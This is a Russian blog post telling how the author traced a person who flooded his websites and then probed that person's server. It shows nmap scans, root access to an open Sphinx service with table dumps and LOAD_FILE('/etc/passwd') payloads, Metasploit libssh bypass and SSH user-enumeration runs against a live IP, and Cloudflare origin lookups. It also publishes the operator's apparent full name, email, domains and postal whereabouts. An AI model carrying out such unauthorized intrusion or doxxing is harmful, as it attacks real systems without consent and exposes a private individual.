Поиск человека по IP (кейс)

Небольшой пример по поиску информации с элементами пентестинга. Я искал человека, который DoS'ил мои сайты. То есть я в начале думал, что это DoS атака, но когда посмотрел его «проекты», то у меня появилась мысль, что он просто парсил сайты для сбора текста из которого потом будут ляпаться дорвеи. Но то ли что-то в его шармарке заклинило, то ли он решил проверить устойчивость моих сайтов к стресс-тесту, то ли им двигали совсем неподвластные моему разумению мотивы, но суть в том, что нагрузка на сервер стала выглядеть вот так:

Кусок лога:

Делались многочисленные запросы, вызывающие ошибку 404. Это говорит в пользу версии о DoS атаке.

При изучении лога выяснилось, что атакующий подменял свой User-Agent на «Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)».

Следующей командой я отделил все запросы, в которых пользовательский агент установлен на «Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)», при этом запросы вызвали ошибку 404, из этих запросов я взял только IP адреса, отсортировал их и выделил уникальные. Всё это сделала команда:

zcat "access_log (4).1.gz" | grep "Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)" | grep " 404 " | awk '{print $1}' | sort | uniq

Кстати, готовится большой материал по анализу веб логов — скоро будет опубликован.

Из получившегося списка я с помощью whois отфильтровал IP адреса, принадлежащие Яндексу, в результате остался адрес:

• 88.198.64.37

А также вот этот диапазон адресов:

• 88.99.152.33
• 88.99.152.34
• 88.99.152.35
• 88.99.152.36
• 88.99.152.37
• 88.99.152.38
• 88.99.152.39
• 88.99.152.40
• 88.99.152.41
• 88.99.152.42
• 88.99.152.43
• 88.99.152.44
• 88.99.152.45
• 88.99.152.46
• 88.99.152.47
• 88.99.152.48
• 88.99.152.49
• 88.99.152.50
• 88.99.152.51
• 88.99.152.52
• 88.99.152.53
• 88.99.152.54
• 88.99.152.55
• 88.99.152.56
• 88.99.152.57
• 88.99.152.58
• 88.99.152.59
• 88.99.152.60
• 88.99.152.61
• 88.99.152.62

Что характерно — и первый IP и второй список принадлежат одному и тому же VPS хостеру из Германии.

Многие из IP 88.99.152.* при открытии в браузере пересылают на домен domenolog.ru. У сервера всех сайтов одинаковые характеристики:

• PHP/5.6.32
• nginx/1.10.2
• Apache/2.2.15 (CentOS)

То есть этот диапазон, судя по всему, привязан к одному единственному серверу (при заказе виртуального частного сервера за отдельную плату можно подключить любое количество IP адресов), а IPv6 вообще дают «пучок за рубль».

И адрес 88.198.64.37 тоже оказался от этого же сервера! Для подтверждения достаточно сделать запрос с указанием имени хоста domenolog.ru:

curl 88.198.64.37 -H "Host: domenolog.ru"

Будет показан исходный код веб-страницы domenolog.ru.

Итак, источник проблемы локализован — кто-то арендует сервер с несколькими IP адресами на германском хостинге. В принципе — если проблема серьёзная (например, непрекращающаяся DoS атака либо постоянная рассылка спама и прочее), то есть смысл пожаловаться хостеру. Но в моём случае в этом не было нужды, поэтому я решил просто немного покопать дальше.

Пентестинг сервера

Ещё одним косвенным свидетельством, что это все IP одного сервера, были результаты сканирования nmap: на всех этих адресах были открыты одни и те же порты. Картина была одинаковая для всех IP, кроме 88.99.152.33 — на нём было несколько дополнительно открытых портов. Видимо, на сервере настраивались некоторые службы с привязкой на этот адрес. Там я обратил внимание на несколько интересных моментов, давайте их разберём.

Начнём с полного сканирования портов основного IP адреса:

sudo nmap -p 1-65535 88.99.152.33

Результат:

Host is up (0.23s latency).
Not shown: 65517 closed ports
PORT     STATE    SERVICE
25/tcp   open     smtp
53/tcp   open     domain
80/tcp   open     http
81/tcp   open     hosts2-ns
135/tcp  filtered msrpc
137/tcp  filtered netbios-ns
138/tcp  filtered netbios-dgm
139/tcp  filtered netbios-ssn
445/tcp  filtered microsoft-ds
1121/tcp open     rmpp
1122/tcp open     availant-mgr
2921/tcp open     cesdcdman
2980/tcp open     wimd
2988/tcp open     hippad
4949/tcp open     munin
5554/tcp filtered sgi-esphttp
9306/tcp open     sphinxql
9312/tcp open     sphinxapi

В глаза сразу бросается 53 порт — то есть на сервере работает сервер имён (DNS). Выше показаны только TCP порты, можно убедиться, что 53 UDP порт также открыт:

sudo nmap -p 53 -sU 88.99.152.33

Открыт — значит есть свой сервер имён — запомним это!

Как подключиться к Sphinx

sphinxql — это Sphinx, а sphinxapi — это API для неё. Я нагуглил официальный сайт, но там всё в лучших традициях технической документации — даже непонятно, а что же именно делает эта программа/служба?

К счастью, я также нагуглил, что для подключения к этой неведомой зверюшке используется обычный mysql клиент:

mysql -h 88.99.152.33 -u root -P 9306 --protocol=tcp

Без явного указания протокола —protocol=tcp тоже работает.

Произошло то, что я ожидал меньше всего — я увидел приглашение командной строки удалённого сервера!

Но оказалось, что всё не так хорошо, как я ожидал, не сработали не только SQL запросы чтения/записи файлов:

' … ' UNION ALL SELECT LOAD_FILE('/etc/passwd');
SELECT * FROM mytable INTO dumpfile '/tmp/somefile';

Даже не заработали элементарные:

SELECT @@version;
SELECT @@hostname;
SELECT database();

Команда смены базы данных:

USE database test;

вроде бы срабатывала — появлялось сообщение «Database changed» и менялось приглашение командной строки — но, на самом деле, это ни на что не влияло.

По сути, рабочими оказались только команда вывода списка таблиц:

SHOW TABLES;

и команда вида

SELECT * FROM имя_таблицы LIMIT 0,2000;

Пример команды:

SELECT * FROM agent_content_agentdigestchl LIMIT 0,2000;

Часть её вывода:

Обратите внимание, что я всё время использую LIMIT — дело в том, что по умолчанию LIMIT всё равно используется, причём её значение по умолчанию LIMIT 0,20 (двадцать первых записей). Также обратите внимание, что из каждой таблицы выводится ровно по 1000 записей — либо там действительно ровно по 1000 записей, либо разработчики Sphinx пока просто не реализовали возможность держать в таблицах больше 1000 записей…

Содержимое — лютый шлак, спарсенная информация об организациях. Как можно догадаться по названиям таблиц, там есть такие города как Челябинск, Екатеринбург, Казань, Москва, Нижний-Новгород, Омск и Самара.

Видимо, это какая-то заготовка для дорвея. Всё такое унылое и неинтересное, да ещё этот горе Sphinx, что я ничего лучше не придумал, как просто на память слить таблицы командами вида:

mysql -h 88.99.152.33 -u root -P9306 -e "SELECT * FROM agent_categories_agentdigestchl LIMIT 0,2000;" > agent_categories_agentdigestchl.txt
mysql -h 88.99.152.33 -u root -P9306 -e "SELECT * FROM agent_categories_agentdigestekb LIMIT 0,2000;" > agent_categories_agentdigestekb.txt
……………………….
……………………….
……………………….

Правда, я нагуглил сайт wikimapia.org, который как раз и мог бы оказаться дором из этих заготовок, пример страницы: wikimapia.org/26359080/ru/26359080/ru/Клиника-«Будь-Здоров». Причём даже IP адрес 88.99.95.180 принадлежит этому же хостеру, на котором расположен исследуемый сервер. Но изучив DoS'ера поближе у меня стали появляться сомнения — слишком сложный для него проект.

Самое примечательное из этих таблиц, это поля «Даты обновления», пример такой даты: 1536234804 — я до сих пор ломаю голову, как их расшифровать?

Как узнать, что это за служба, если она на нестандартном порту?

Остальные службы поначалу не принесли ничего интересного — я гуглил чтобы хотя бы узнать название Клиентов для подключения — но мне как-то не особо везло.

Тут я вспомнил, что имеют дело с системным администратором, который управляет парсером/утилитой для DoS (чем именно я так и не разобрался) — следовательно, нужно предположить, что он не так прост.

С помощью curl можно подключаться к любым TCP портам (указывайте их после адреса через двоеточие). Также добавляйте опцию —output — (тире это не опечатка — там тире означает стандартный вывод) чтобы даже бинарные данные выводились в консоль:

curl --output - 88.99.152.33:2980

Вывод предыдущей команды:

<html><head><title>407 Proxy Authentication Required</title></head>
<body><h2>407 Proxy Authentication Required</h2><h3>Access to requested resource disallowed by administrator or you need valid username/password to use this resource</h3></body></html>

Итак, мы нашли прокси с необходимостью аутентификации.

Далее

curl --output - 88.99.152.33:2921

Вывелось:

220 Ready

Код статуса 220 и сообщение позволяют думать, что это почтовая служба SMTP, которая работает на 2921 порту (на самом деле, видимо, это оказался ftppr, то есть FTP proxy gateway service).

Дальше:

curl --output - 88.99.152.33:1122

Результат:

SSH-2.0-OpenSSH_5.3
curl: (56) Recv failure: Соединение разорвано другой стороной

Это SSH, причём древней версии.

Ну и наконец:

curl --output - 88.99.152.33:1121

Результат:

220 (vsFTPd 2.2.2)
530 Please login with USER and PASS.
530 Please login with USER and PASS.
530 Please login with USER and PASS.
530 Please login with USER and PASS.

Это FTP сервер vsFTPd 2.2.2.

Абсолютно всё из выше перечисленного можно брутфорсить — но я не до такой степени разозлился на него.

Кстати, вместо cURL можно было бы использовать готовый скрипт nmap, который называется banner. Для этого к команде сканирования добавьте опции -sV —script=banner. Также можно эти опции добавлять при сканировании определённых портов, например:

sudo nmap -p 1122 -sV --script=banner 88.99.152.33

Как эксплуатировать уязвимости с помощью Metasploit

Напоследок, перед тем как «уйти» с сервера и переключиться на другие направления сбора данных, я всё-таки решил проверить запущенные службы на уязвимости к популярным эксплойтам, заодно покажу азы работы в Metasploit.

Запускаем Metasploit

sudo systemctl start postgresql.service
msfconsole

Посмотрим, что есть для SSH:

search ssh

В библиотеке libssh есть отличная свежая уязвимость обхода аутентификации:

   Name                                                        Disclosure Date  Rank       Check  Description
   ----                                                        ---------------  ----       -----  -----------
   auxiliary/scanner/ssh/libssh_auth_bypass                    2018-10-16       normal     Yes    libssh Authentication Bypass Scanner

Модуль libssh_auth_bypass эксплуатирует обход аутентификации в libssh в коде сервера, отправляется сообщение USERAUTH_SUCCESS (аутентификация успешна) вместо ожидаемого сообщения USERAUTH_REQUEST (запрос аутентификации). Уязвимы libssh с 0.6.0 по 0.7.5 версию и с 0.8.0 по 0.8.3. На счастье этого админа, у него до такой степени старая версия, что этот эксплойт для неё не работает — его везенье, а то бы я не писал эту статью — это бы осталось маленькой тайной…

Но я всё равно покажу вам, как работать с эксплойтами в Metasploit:

Выбираем модуль для использования:

use auxiliary/scanner/ssh/libssh_auth_bypass

Смотрим информацию о нём:

show info

Смотрим опции:

show options

Устанавливаем хост для атаки:

set RHOSTS 88.99.152.33

Как мы помним, на сервере для SSH используется нестандартный порт 1122, устанавливаем его:

set RPORT 1122

Запускаем модуль эксплуатации:

run

Ещё один модуль для SSH это auxiliary/scanner/ssh/ssh_enumusers — который позволяет проверить, есть ли указанный пользователь. Это супер полезно перед брутфорсом.

use auxiliary/scanner/ssh/ssh_enumusers

Смотрим и устанавливаем опции:

show options
set RHOSTS 88.99.152.33
set RPORT 1122

Ещё нужно установить USERNAME (имя пользователя для проверки, если мы хотим проверить только одно имя) или USER_FILE (файл с именами пользователей, если мы хотим проверить много имён).

Например, я хочу проверить, есть ли на сервере пользователь root:

set USERNAME root
run

Да, такой пользователь есть, об этом говорит строка:

[+] 88.99.152.33:1122 - SSH - User 'root' found

Но пользователь root он везде есть. А как насчёт пользователя «danil»? К концу истории вам будет понятно, почему я решил проверить это имя. Также это ещё одно доказательства того, что вся собранная информация относится к одному человеку:

set USERNAME danil
run

И пользователь 'danil' найден!

[+] 88.99.152.33:1122 - SSH - User 'danil' found

Это очень важно для подтверждения много из сказанного здесь.

Что интересного может рассказать DNS сервер

Сервера имён DNS представляют собой иерархическую структуру. Это очень интересная тема и она обязательно будет рассмотрена на страницах HackWare.ru.

На сервере с IP 88.99.152.33 работает сайт domenolog.ru. На этом же сервере запущен сервер имён DNS. Обратимся к DNS серверу 88.99.152.33 с помощью dig с вопросом, что он нам скажет про domenolog.ru:

dig domenolog.ru @88.99.152.33

Во-первых, мы видим ещё одно подтверждение, что IP адреса 88.198.64.37 и 88.99.152.33 как минимум связаны друг с другом.

Ещё в качестве сервера имён указан ns1.dig1.ru. Давайте взглянем на dig1.ru:

Опаньки!

Знакомая (лично мне уже «до боли») метка сервера «Apache/2.2.15 (CentOS)».

Давайте посмотрим, что именно админ приберёг для нас внутри.

Почему опасно оставлять на рабочем сервере phpinfo()

phpinfo() — это PHP функция, которая выводит информацию о PHP, веб-сервере, модулях PHP, переменных среды, некоторую информацию об операционной системе и немного об открывшем страницу пользователе. С чего я вдруг про это заговорил? Дело в том, что на странице dig1.ru/info/ выводится информация от функции phpinfo():

Бинго, у нас есть адрес электронной почты администратора: gluttor@gmail.com. Теперь можно ему написать и спросить, что именно он делал? Дидосил или парсил для подготовки к генерации доров?

Кроме почты, также можно узнать, что, оказывается этот веб-сайт (и некоторые другие на этом веб-сервере) находятся за CloudFlare (как будто им это помогло!), кое-что о структуре папок сервера:

• /var/www/_admin/data/www/dig1.ru
• /var/www/_admin/data/www/dig1.ru/info/index.php
• /var/www/_admin/data/mod-tmp

Здесь же точные версии PHP, Apache и MySQL.

Нам известно, что все IP принадлежат одному серверу, следовательно, мы можем пройтись по каждому из этих IP, посмотреть какие там открываются сайты для сбора из них дополнительной информации о владельце. Ещё нам очень поможет сервис поиска сайтов на одном IP.

Поиск по e-mail

Но самый интересный трофей, безусловно, это почта админа gluttor@gmail.com — банальное гугление позволяет собрать дополнительные сведения.

На владельца почты зарегистрировано ряд доменов. Например thedomainer.net:

Для международных доменов очень много интересного может дать даже whois:

whois thedomainer.net

Теперь я смогу не просто написать e-mail с вопросом о DoS атаке, но и начать своё письмо весьма вежливо:

«Уважаемый Danil Klimenko, …».

Если моё электронное письмо вдруг не дойдёт, то я смогу отправить письмо по обычной почте, адрес у меня уже есть.

В whois мы также получаем новые адреса серверов имён (видимо этот чел реально прётся делать DNS серверы), хотя IP уже нам хорошо знакомы:

• Name Server: ns1.thedomainer.net (88.99.152.35)
• Name Server: ns2.thedomainer.net (88.99.152.33)

Есть и другие домены:

• cennetteyim.com
• kredyteo.biz
• onami.biz
• thedomainer.net
• pattys-portraits.com
• diy-linux.com
• freclaw.com
• reclaimedwoodatx.com

Среди них дорвеи с машинным переводом на испанский язык, например diy-linux.com — видимо, это сайт про Linux (у меня он тоже досил сайт про Linux) — неужели «мочил» конкурента?..

Ранее он указывал эту почту gluttor@gmail.com при продаже доменов:

• ambol.ru
• rubikoff.ru
• zubnie.ru
• sarcazm.ru
• …………..
• …………..

Поиск на сайтах информации о веб-мастере

У меня с самого начала уже есть несколько десятков IP адресов, если их просто вбивать в адресную строку веб-браузера, то будут открываться разные сайты. Вместе с сервисом поиска сайта на одном IP, можно набрать множество материала для анализа. Также нам в помощь весь арсенал из статьи «Сбор информации о владельце сайта. Поиск сайтов одного лица».

На нескольких сайтах нашёлся одинаковый номер Google Analytics:

<noscript><style type="text/css"> .wpb_animate_when_almost_visible { opacity: 1; }</style></noscript><script>
  (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
  (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
  m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
  })(window,document,'script','https://www.google-analytics.com/analytics.js','ga');

    ga('create', 'U'+'A'+'-'+'8'+'1'+'7'+'4'+'4'+'4'+'2'+'3'+'-'+'1', 'auto', {'allowLinker': true});
    ga('require', 'linker');
    ga('linker:autoLink', ['sk-stimul.ru'] );
    ga('send', 'pageview');

</script>

Также на одном из сайтов нашёлся такой номер:

• gtag('config', 'UA-109452531-1');

И такие идентификаторы издателя AdSense:

• ca-pub-8651222720337170
• ca-pub-0012089259675285

Эти данные позволяют искать другие сайты по сервису publicwww.com. Но не нужно исключать того, что эти идентификаторы могли появиться на сайтах, восстановленных из веб-архива, то есть на самом деле они могут не принадлежать этому лицу.

Также на некоторых сайтах попадался адрес электронной почты manager.adv1@gmail.com.

Домены на продажу

На сайте domenolog большое количество доменов на продажу. Также имеется спарсенное описание о не принадлежащих ему доменах. Видимо, в этом и заключается бизнес-модель: привлечение трафика за счёт спарсенной информации о сайтах, а также через дорвеи с украденным и сгенерированным содержимым.

Последующая монетизация основного сайта за счёт РСЯ + продажа доменов (киберсквоттинг). Монетизация дорвеев с трафиком за счёт партнёрских (в том числе сомнительных) программ.

Для нас дополнительным источником сведений там является список доменов на продажу — можно смотреть их IP, исследовать веб содержимое и раскручивать информацию дальше — но мне это уже не особо интересно.

Если сайт из тех списков «спрятан» за Cloudflare, то для него настоящий IP адрес можно узнать командой вида:

dig ИНТЕРЕСУЮЩИЙ-ДОМЕН @88.99.152.33

Например, для если я хочу узнать настоящий IP адрес toolplace.ru:

dig toolplace.ru @88.99.152.33

Заключение

У этого человека нашёлся и личный блог: danil.me.

На данный момент этот сайт доступен только в веб-архиве. Среди прочих, там есть такая статья:

А в этой статье:

В наличии имелся выделенный сервер с N ip-адресов на нем.

Помните, ведь мы идентифицировали не все открытые порты, в самой первой статье автор приводит конфигурационный файл, в котором объясняется как и что:

• 2980 это proxy
• 2988 это socks
• 2921 это ftppr

Темы статей:

• Настройка прокси-сервера 3proxy с множеством IP-адресов
• Whois-запросы на PHP используя proxy
• Как разбить текст на предложения на PHP
• Как разбить текст на слова на PHP
• Простая типографика на PHP
• Парсинг поисковой выдачи Яндекса на PHP
• Парсинг поисковой выдачи Google
• Парсинг выдачи Bing
• Как спрятать/обнулить реферрер (HTTP referer)

То есть про реализацию на PHP задач, которые ближе к генерации доров.

Код Гугл Аналитики на блоге:

	<script>
	  (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
	  (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
	  m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
	  })(window,document,'script','https://www.google-analytics.com/analytics.js','ga');

	  ga('create', 'UA-76474101-2', 'auto');
	  ga('send', 'pageview');

	</script>